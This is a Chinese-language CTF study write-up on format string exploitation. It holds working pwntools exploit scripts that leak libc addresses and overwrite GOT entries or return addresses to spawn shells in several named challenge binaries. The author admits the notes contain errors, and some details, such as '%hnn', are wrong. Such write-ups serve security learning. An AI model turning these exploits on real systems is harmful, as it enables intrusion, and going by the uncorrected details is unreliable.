Format String

感觉前面写的挺多错误的,也不知道从哪里开始改了。。。

随便看看就好

一级标题的题目应该还是能看的

咕咕咕。。。

第三个地址指向的是格式化字符串第一个变量值


1
payload = p32(pwnme) + 'aaaa' + "%10$n"

p32 = 4字节

‘aaaa’ = 4字节

“%10$n” = 修改第10个参数 (通过[tag]%p%p…)

1
gdb-peda$ fmtarg [addr] #计算字符串偏移
1
fmtstr_payload(offset,{address:value})

32位:

img

64位:

img

小技巧总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

泄露内存

一般来说32位程序 b printf 的栈中
第一个变量是返回地址
第二个变量是格式化字符串的地址
第三个开始为第一个变量的值

泄露栈内存

获取栈变量数值

获取栈中被视为第 n+1 个参数的值(第一个是返回地址,所以从n+1开始) : %n$x,或者用%p也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28 in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp //返回地址
0xffffcd00│+0x04: 0xffffcd10 → "%3$x" //1
0xffffcd04│+0x08: 0xffffcd10 → "%3$x" //2
0xffffcd08│+0x0c: 0x000000c2 //3
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10 //4
0xffffcd10│+0x14: "%3$x" ← $eax
0xffffcd14│+0x18: 0xffffce00 → 0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]

这里输入%3$x,获得了printf的第四个参数所对应的值 f7e8b6bb

获取栈变量对应字符串

1
用到 %s

泄露任意地址内存

1
[tag]%p%p%p%p%p%p...
1
pwndbg> fmtarg 0xffffcefc

覆盖内存

1
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

覆盖栈内存

让c=16

1
payload = p32(c_addr) + '%012d' + '%6$n'

‘%012d’ = 12个字符
‘%6$n’ = 占4个字符。用payload的字符个数更改第6个参数的值

覆盖任意地址内存

覆盖小数字

我们的格式化字符串的为第 6 个参数。(32位程序)
想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是

1
2
%k$nxx
aa%k$nxx

此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了。

1
payload = 'aa%8$naa' + p32(a_addr)

覆盖大数字

0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

1
2
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
1
2
%hhn 向某个地址写入单字节
%hn 向某个地址写入双字节

希望覆盖的地址为 0x0804A028。

1
2
.data:0804A028                 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r

即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

1
2
3
4
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为 6,所以我们可以确定我们的 payload 基本是这个样子的

1
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
payload生成器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址。
  • target 表示我们要覆盖为的目的变量值。
1
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)

技巧

非栈上格式化字符串漏洞利用

改 ret 地址中的 libc_start_main 为 onegadget (可能ongadget失效)

改 printf 的 got 为 system/onegadget

x64例题

pwn200 GoodLuck

保护

image-20210331181935199

IDA

image-20210331182037722

格式化字符串漏洞,去gdb调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[-------------------------------------code-------------------------------------]
0x7ffff7a62807 <__fprintf+135>: add rsp,0xd8
0x7ffff7a6280e <__fprintf+142>: ret
0x7ffff7a6280f: nop
=> 0x7ffff7a62810 <__printf>: sub rsp,0xd8
0x7ffff7a62817 <__printf+7>: test al,al
0x7ffff7a62819 <__printf+9>: mov QWORD PTR [rsp+0x28],rsi
0x7ffff7a6281e <__printf+14>: mov QWORD PTR [rsp+0x30],rdx
0x7ffff7a62823 <__printf+19>: mov QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x400890 (<main+234>: mov edi,0x4009b8)
0008| 0x7fffffffde10 --> 0x61000001
0016| 0x7fffffffde18 --> 0x602830 --> 0x61616161 ('aaaa')
0024| 0x7fffffffde20 --> 0x602010 ("You answered:\ng\n")
0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 11 times>, "}\n\377\377\377\377")
0040| 0x7fffffffde30 ("flag{", '1' <repeats 11 times>, "}\n\377\377\377\377")
0048| 0x7fffffffde38 ("11111111}\n\377\377\377\377")
0056| 0x7fffffffde40 --> 0xffffffff0a7d

发现地址0x7fffffffde28,即第四个参数的位置是flag,偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 4+6。

fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 %10-1$s ,即 %9$s 即可得到 flag 的内容。

exp:

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
p = process("./goodluck")

payload = '%9$s'
p.sendlineafter('what\'s the flag',payload)

p.interactive()

hijack GOT

2016 CCTF_pwn3

保护

1
2
3
4
5
6
[*] '/home/trick/Desktop/goodluck'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

格式化字符串漏洞在get函数中

image-20210402145416197

基本思路:

  • 绕过密码
  • 确定格式化字符串参数偏移
  • 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
  • 修改 puts@got 的内容为 system 的地址。
  • 当程序再次执行 puts 函数的时候,其实执行的是 system 函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> stack 20
00:0000│ esp 0xffffcedc —▸ 0x80488a3 (get_file+173) ◂— leave
01:0004│ 0xffffcee0 —▸ 0xffffcefc —▸ 0x8048358 ◂— jae 0x80483ce /* 'strcmp' */
02:0008│ 0xffffcee4 —▸ 0x8048baa ◂— insb byte ptr es:[edi], dx /* 'flag' */
03:000c│ 0xffffcee8 ◂— 0x4
04:0010│ 0xffffceec —▸ 0x804830e ◂— jae 0x8048384 /* 'strncmp' */
05:0014│ 0xffffcef0 ◂— 0x0
06:0018│ 0xffffcef4 —▸ 0xffffcf94 —▸ 0xf7e07b58 ◂— jbe 0xf7e07b71
07:001c│ 0xffffcef8 ◂— 0x1
08:0020│ eax 0xffffcefc —▸ 0x8048358 ◂— jae 0x80483ce /* 'strcmp' */
09:0024│ 0xffffcf00 ◂— 0xffffffff
0a:0028│ 0xffffcf04 —▸ 0xffffcfa4 ◂— 0x0
0b:002c│ 0xffffcf08 —▸ 0xf7e07b58 ◂— jbe 0xf7e07b71
0c:0030│ 0xffffcf0c —▸ 0xf7fd31b0 —▸ 0xf7e03000 ◂— jg 0xf7e03047
0d:0034│ 0xffffcf10 ◂— 0xa /* '\n' */
0e:0038│ 0xffffcf14 —▸ 0xf7fb6da7 (_IO_2_1_stdout_+71) ◂— 0xfb78700a
0f:003c│ 0xffffcf18 —▸ 0xffffcfd8 ◂— 0x3
10:0040│ 0xffffcf1c —▸ 0xf7e6b3f4 (new_do_write+52) ◂— mov esi, eax
11:0044│ 0xffffcf20 —▸ 0xf7fb6d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0048│ 0xffffcf24 —▸ 0xf7fb6da7 (_IO_2_1_stdout_+71) ◂— 0xfb78700a
13:004c│ 0xffffcf28 ◂— 0x1
pwndbg> fmtarg 0xffffcefc
The index of format argument : 8 ("\%7$p")

数一下是在第几个位置,从0xffffcee4开始数,7,0xffffcefc,所以下面用 %8$s + puts_got 把后面第八个参数 puts_got 给读出来。也可以用fmtarg [addr]来计算偏移。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = remote('127.0.0.1',12345)
p = process("./pwn3")
elf = ELF('./pwn3')
puts_got = elf.got['puts']

payload = ''
name = 'sysbdmin'
for i in name:
payload += chr(ord(i)-1)
print payload
p.sendlineafter('Name (ftp.hacker.server:Rainism):',payload)

p.sendline('put')
p.sendlineafter('please enter the name of the file you want to upload:','1111')
payload = '%8$s' + p32(puts_got)
p.sendlineafter('then, enter the content:',payload)

p.sendline('get')
p.sendlineafter('enter the file name you want to get:','1111')
puts_addr = u32(p.recv()[:4])
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = offset + libc.dump('system')
payload = fmtstr_payload(7, {puts_got: system_addr})

p.sendline('put')
p.sendlineafter('please enter the name of the file you want to upload:','/bin/sh;')
p.sendlineafter('then, enter the content:',payload)

p.sendline('get')
p.sendlineafter('enter the file name you want to get:','/bin/sh;')

p.sendline('dir')

p.interactive()

hijiack retaddr

利用格式化字符串劫持返回地址到我们想要执行的地址

三个白帽 - pwnme_k0

保护

image-20210402155026123

64位的程序,开启了NX保护和RELRO保护,没有办法修改程序的got表了。

IDA

image-20210402155158540

格式化字符串漏洞点在注册完成之后查看功能里面

image-20210402155325101

用shift+f12查看字符串,发现有system(“/bin/sh”)

利用思路:

断点在printf处调试,b *0x400B39

image-20210402160140172

0x7fffffffdd68,也就是第7个格式化字符串参数的位置存放的是这个函数的返回地址(不是printf),而这个地址是会改变的,但可以通过 rbp 与 ret 的偏移来计算,也就是:0x7fffffffdda0 - 0x7fffffffdd68 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。
用上面的实验图片来说,先用%6$p作为密码,使其泄露出 rbp 的地址 0x7fffffffdda0,所以 rbp - 0x38 = ret_addr

再我们想要ret_addr 0x400d74 变成getshell 0x4008a6 的地址,他们只有低 2 字节不同,所以可以指修改 0x7fffffffdd68 开始的 2 个字节。

一种方法是通过 username 来保存 ret_addr,username 和 password 之间的距离为 20 个字节。

image-20210403174303056

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level="debug"
context.arch="amd64"

p = process("./pwnme")
#gdb.attach(p)
#gdb.attach(p,'b *0x400B39')

p.sendlineafter('Input your username(max lenth:20): ','1111')
p.sendlineafter('Input your password(max lenth:20): ','%6$p')
p.sendlineafter('>','1')

p.recvuntil('0x')
rbp_addr = int(p.recv(12),16)
print 'rbp=',hex(rbp_addr)

ret_addr = (rbp_addr - 0x38)

payload = '%2218d%8$hn'

p.sendlineafter('>','2')

p.sendlineafter('please input new username(max lenth:20):',p64(ret_addr))

p.sendlineafter('please input new password(max lenth:20):',payload)

p.sendlineafter('>','1')

p.recv()

p.interactive()

第二种方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level="debug"

context.arch="amd64"

p = process("./pwnme")

#gdb.attach(p)

#gdb.attach(p,'b *0x400B39')

p.sendlineafter('Input your username(max lenth:20): ','1111')

p.sendlineafter('Input your password(max lenth:20): ','%6$p')

p.sendlineafter('>','1')

p.recvuntil('0x')

rbp_addr = int(p.recv(12),16)

print 'rbp=',hex(rbp_addr)

ret_addr = (rbp_addr - 0x38)

payload = '%2214u%12$hn' + p64(ret_addr)

p.sendlineafter('>','2')

p.sendlineafter('please input new username(max lenth:20):','bbbbbbbb')

p.sendlineafter('please input new password(max lenth:20):',payload)

p.sendlineafter('>','1')
p.recv()
p.interactive()

比赛真题

HGame week1

once

20210306191440

IDA看,明显是格式化字符串漏洞,显然是⽤来 leak (泄露地址) 的了,泄露出 libc 的地址,就能计算出 onegadget 的地址了,最后覆盖返回地址,使得返回到 onegadget 就能拿到 shell

但是这不能⼀次就完成,要分两步,第⼀次利⽤要先 leak,覆盖返回地址,返回到漏洞开始的地⽅(这里就是程序的 vuln 函数),第⼆次就覆盖返回地址成 onegadget 即可

在第⼀步呢,有⼀个关键点,地址随机化的最低 12 bit,是不会变的,所以只要覆盖最低的 1 个字节,就可以返回到其它相近的地⽅,⽐如 vuln 函数的开头,

我用[tag]的方法找字符串的偏移老找不准:

20210306191649

如果想要找到栈中一些函数的地址来计算偏移的时候,不知道break在printf处后,栈中第一个值到底是第几个参数,所以我用了IDA去找。

test_exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'debug'

p = remote('127.0.0.1',12345)

payload = 'AAAA' + '%1$p' +'%2$p' + '%3$p' +'%4$p' + '%5$p' + '%6$p' + '%13$p' + '%14$p'

p.sendafter('It is your turn: ',payload)

20210307140046

20210307140246

可以看到第13个参数是一个 libc_start_main 的地址,利用这个地址与题目给的 libc 文件就可以计算出 onegadget

最后的 getshell 中 +0x4f3d5 用 one_gadget [libcname] 指令

20210308133927

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'info'

p = remote('182.92.108.71',30107)
#p = process('./once')
#p = remote('127.0.0.1',12345)

libc = ELF('./libc-2.27.so', checksec=False)
binary = ELF('./once', checksec=False)
payload = '%13$p\n'
payload = payload.ljust(0x28,'a')
payload += '\xD3'
p.sendafter('It is your turn: ',payload)

libc_addr = p.recvuntil('\n','True')
libc_addr = int(libc_addr,16)
libc_base = libc_addr - libc.symbols['__libc_start_main'] - 0xe7
print('libc_base',hex(libc_base))

getshell = 'a' *0x28
getshell += p64(libc_base + 0x4f3d5)

p.recvuntil('It is your turn: ')
p.sendline(getshell)

p.interactive()

NepCTF (未解决)

scmt

2021.3.25

找不到点

官方writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'debug'

p= process("./scmt")

#p=remote("node2.hackingfor.fun",39232)

#p = remote('127.0.0.1',12345)

payload = '%*8$p%7$n'

p.sendlineafter('tell me your name:',payload)

p.sendafter(' number:','-')

p.interactive()

wdb_2018_2nd_easyfmt

image-20211025184408548

格式化字符串漏洞

利用思路

  • 找格式化字符偏移量
  • 利用格式化字符串打印 got 表地址,计算出 libc
  • 将 printf@got 改为 system

漏洞利用

offset

1
aaaa%p

offset = 6

image-20211025184851532

leak printf@got

1
payload = p32(printf_got) + '%6$s'

修改 printf@got

1
payload = fmtstr_payload(6,{printf_got:system_addr})

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64
from struct import pack

context.os = 'linux'
# context.arch = 'amd64'
context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./wdb_2018_2nd_easyfmt')
if debug == 2:
p = remote('node4.buuoj.cn',28214)
if debug == 3:
p = remote('127.0.0.1',23946)
#23946


elf = ELF('./wdb_2018_2nd_easyfmt')
printf_got = elf.got['printf']

p.recvuntil("Do you know repeater?")
payload = p32(printf_got) + '%6$s'
# payload = 'aaaa%p.%p.%p.%p.%p.%p.%p.%p.'
p.sendline(payload)

printf_addr = u32(p.recvuntil('\xf7')[-4:])
log.success('printf_addr: '+hex(printf_addr))

libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')

log.success('libc_base: '+hex(libc_base))
log.success('system_addr: '+hex(system_addr))


payload = fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)


p.sendline("/bin/sh\x00")

gdb.attach(p,'b *0x080485CA')
p.sendline('cat flag')

p.interactive()

* axb_2019_fmt64 *

64位程序格式化字符串漏洞

保护

image-20211028185829217

IDA

image-20211028185925816

漏洞利用

计算格式化字符偏移

1
payload = 'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.'

image-20211028190350906

偏移为 8

泄露 got 表

此处构造64位程序的payload需要注意:

  • 8字节的对齐
  • printf 遇到 \x00 时会截断,认为字符串已经结束。所以构造的时候地址要放在格式化字符的后面,放在前面会被截断
1
payload = '%9$saaaa' + p64(printf_got) 

PS:

  • 加上 aaaa 是为了凑够 8字节。len(‘%8$saaaa’) = 8
  • 上面计算偏移为 8,但在这里用了9。在我理解中,%8 泄漏的是 '%9$saaaa' 这个字符串,它的下一个9(8+1)才是 p64(printf_got)

计算 libc_base、system 地址

image-20211028194534061

这里试过修改 printf@got 指向 system,但是失败了,具体原因没有找到;改用 strlen 后成功 getshell

在后面打远程的时候,一开始泄漏 printf@got 程序运行不了了,也不太像延迟绑定机制,挺无语的。改为泄漏 puts@got 就成功了

几种不同的修改字节方式

image-20211028194819294

如果只是仅仅写入一个字节。最后一个对应 printf_got,倒数第二个对应 printf_got+1,倒数第二个对应 printf_got+2。如果写入的不止一个字节,则还需要计算前面已经有多少个字符数量。

我们知道:

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

真实地址是从最后一位开始泄漏的,所以我们第一个修改的字节也就是真实地址的最后一位

  • %n:写入 4 字节
  • %hn:写入 2 字节
  • %hnn:写入 1 字节

%hnn 逐一写入字节

前提条件

让这个地址的后三位是按从大到小的顺序排列,因为我们的%n是目标地址中的值修改为其前面打印出的字符数量,所以如果地址的后三位不是按我们要求的递增来的,那么我们用%c来修改值的话就不好计算

1
2
3
4
5
6
7
8
system = hex(system_addr)[8:]	#get last 3 byte
a = system[:2]
b = system[2:4]
c = system[4:]

if a<b or b<c:
execfile('test.py')
quit()
payload 构造(简写)
  1. 先修改最后一个字节

    1
    payload = '%' + str(c-9) + 'c' + '%[i]$hhn'

    c-9 是因为 printf 还会输出 Repeater,长度为9,所以减去

    i 可以到后面在计算

  2. 修改中间字节

    1
    payload += '%' + str(b-c) + 'c' + '%[i+1]$hhn'
  3. 修改第三个字节

    1
    payload += '%' + str(a-b) + 'c' + '%[i+2]$hhn'
  4. 对齐

    前面说到要8字节对齐,这个 payload 一共有 33 个字符,补到 8 的倍数即 40

    1
    payload = payload.ljust(40,'a')
  5. 接上目的地址

    1
    payload += p64(strlen_got) + p64(strlen_got+1) + p64(strlen_got+2)

    这时我们就可以填补上第1点中的变量 i。最后一个字节对应 p64(strlen_got),前面计算出格式化字符偏移是8,每过一个字节即偏移加一,在p64(strlen_got)之前一共有40个字符,即偏移 = 8+5 = 13。也可以 send 一次确定偏移

    image-20211028210044094

补全的 payload 如下

1
2
3
4
5
payload = '%' + str(int(c,16)-9) + 'c' + '%13$hhn' 
payload += '%' + str(int(b,16)-int(c,16)) + 'c' + '%14$hhn'
payload += '%' + str(int(a,16)-int(b,16)) + 'c' + '%15$hhn'
payload = payload.ljust(40,'a')
payload += p64(strlen_got) + p64(strlen_got+1) + p64(strlen_got+2)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'axb_2019_fmt64'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',25756)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc
printf_got = elf.got['printf']
puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]


payload = '%9$saaaa' + p64(puts_got)
p.recvuntil('Please tell me:')
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
log.success('puts_addr: ' + hex(puts_addr))
log.success('system_addr: ' + hex(system_addr))


system = hex(system_addr)[8:]
a = system[:2]
b = system[2:4]
c = system[4:]

log.success('system: ' + system)
log.success('a: ' + a)
log.success('b: ' + b)
log.success('c: ' + c)

if a<b or b<c:
log.success('yes')
execfile('test.py')
quit()

payload = '%' + str(int(c,16)-9) + 'c' + '%13$hhn'
payload += '%' + str(int(b,16)-int(c,16)) + 'c' + '%14$hhn'
payload += '%' + str(int(a,16)-int(b,16)) + 'c' + '%15$hhn'
payload = payload.ljust(40,'a')
payload += p64(strlen_got) + p64(strlen_got+1) + p64(strlen_got+2)
p.recvuntil('Please tell me:')
p.sendline(payload)

payload = ';/bin/sh\x00'
p.recvuntil('Please tell me:')
p.sendline(payload)

# gdb.attach(p)

p.interactive()

%hn 写入 2 字节 + 写入 1 字节

PS:沿用上面方法得出的数据

发现 system 和 strlen 的真实地址只相差了倒数第二第三,两个字节

image-20211028211620595

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'axb_2019_fmt64'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',26296)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc
puts_got = elf.got['printf']
puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]


payload = '%9$saaaa' + p64(puts_got)
p.recvuntil('Please tell me:')
p.send(payload)

one = [0x45226,0x4527a,0xf03a4,0xf1247]
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
strlen_addr = libc_base + libc.sym['strlen']
system_addr = libc_base + libc.sym['system']
log.success('puts_got: ' + hex(puts_got))
log.success('puts_addr: ' + hex(puts_addr))
log.success('strlen_addr: ' + hex(strlen_addr))
log.success('system_addr: ' + hex(system_addr))

high = (system_addr >> 16) & 0xff
low = system_addr & 0xffff

log.success('low: ' + hex(low))
log.success('high: ' + hex(high))
log.success('strlen_got: ' + hex(strlen_got))

payload = '%' + str(high-9) + 'c' + '%12$hhn' # len = 11
payload += '%' + str(low-high) + 'c' + '%13$hn' # len = 12
payload = payload.ljust(32,'a')
payload += p64(strlen_got+2) + p64(strlen_got)
p.recvuntil('Please tell me:')
p.sendline(payload)

payload = ';/bin/sh\x00'
p.recvuntil('Please tell me:')
p.sendline(payload)

# gdb.attach(p)

p.interactive()

%n 写入 4 字节

因为写入4字节的字符串长度实在太长,程序容易崩溃,拿上面得到的 strlen 和 system 地址来说,system 地址的后4个字节为 0x70d743a0 = 1893155744

1
payload = 'a' * sys_addr + '%7$n' + p64(printf_got)

就算题目没有限制写入大小的限制,程序读入这么多字符也容易崩溃

此方法不考虑

咕咕咕…